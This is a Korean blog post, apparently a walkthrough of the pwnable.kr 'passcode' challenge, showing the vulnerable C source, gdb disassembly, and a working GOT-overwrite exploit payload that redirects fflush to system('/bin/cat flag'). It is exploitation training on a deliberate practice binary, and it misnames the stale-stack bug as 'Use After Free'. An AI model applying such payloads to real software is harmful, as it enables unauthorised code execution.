본문 바로가기
Security_/pwnable

[Pwnable.kr] passcode 풀이 (#GOT Overwrite)

by 낭람_ 2022. 2. 13.
반응형

오랜만의 pwnable.kr 이당.. 

 

 

C언어로 작성한 코드를 컴파일 할 때 에러는 없었고 경고는 나왔다고 한다..

 

passcode로 접속을 해보자.

 

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	#####################################################
	scanf("%d", passcode1); # >> scanf("%d", &passcode1);
    	#####################################################
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

접속 후 passcode의 코드를 확인해 보았는데 경고는 scanf를 할 때 &가 없어서 경고가 나온것 같다.

 

코드의 구조를 보면 main 함수에서 welcome과 login을 실행하는데

 

welcome에서 name으로 공간을 [100]만큼 사용하지만, login에서는 그것보다 더 적게 쓸 것 같다.

 

scanf에서 &를 안썻으므로 passcode1에 주소를 넣으면 원하는 주소의 값을 변경할 수 있다.

 

 

gdb로 자세하게 살펴보장

(intel 형식의 표기법이 좋아서 set disassembly-flavor intel을 적용했다)

 

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    eax,0x80487dd
   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70]
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

 

Welcome 부분을 확인하면 $ebp-0x70부터 작성하는데

Login 부분을 확인하면 passcode1, passcode2 는 각각 $ebp-0x10, $ebp-0xc 이다.

 

Welcome 함수를 사용하고 안에 있는 데이터가 안지워진채로 Login 함수가 실행된다. (Use After Free)

 

name에는 100만큼 작성이 가능하니깐 passcode1[$ebp-0x10] 까지 작성이 가능하다.

 

그렇다면 passcode1에 어떤 주소를 넣어야 하나.. scanf("%d", passcode1) 다음에 있는 fflush의 GOT의 주소를 넣어준다면 scanf("%d", passcode1)에서 fflush의 GOT를 변경할 수 있다...! GOT Overwirte가 가능하다!

또한 fflush의 GOT 주소를 system("/bin/cat flag")의 부분으로 변경한다면 바로 flag를 읽을 수 있다.

system("/bin/cat flag")의 주소는 친절하게 Login 함수에 있다. - Login 함수의 + 127 : 0x080485e3

 

fflush의 GOT 부분을 확인하자.

 

(gdb) x/4i 0x8048430
   0x8048430 <fflush@plt>:	jmp    DWORD PTR ds:0x804a004
   0x8048436 <fflush@plt+6>:	push   0x8
   0x804843b <fflush@plt+11>:	jmp    0x8048410

 

0x804a004 ! 저 주소에 system("bin/cat flag")의 주소를 넣어주면 fflush를 실행할때 jmp 0x804a004가 되고, 0x804a004에는 system("bin/cat flag")가 있으므로 flag가 출력된다. 

 

페이로드를 작성하자!

(python -c 'print "134514147"';cat) | (python -c 'print "A"*96+"\x04\xa0\x04\x08"';cat) | ./passcode

 

우선 name에 "A"*96 + GOT_fflush를 해주면 passcode1에 GOT_fflush의 주소가 들어가게 된다.

우리는 scanf("%d", passcode1)로 입력을 하므로 system("bin/cat flag")의 주소인 0x080485e3의 10진수인 134514147을 입력해준다.  끝. 

반응형

'Security_ > pwnable' 카테고리의 다른 글

[Pwnable.kr] random 풀이  (1) 2022.02.19
checksec 설치  (0) 2022.02.01
ropgadget 설치  (0) 2022.02.01
one-gadget 설치  (0) 2022.02.01
gdb - peda 설치방법  (1) 2022.02.01

댓글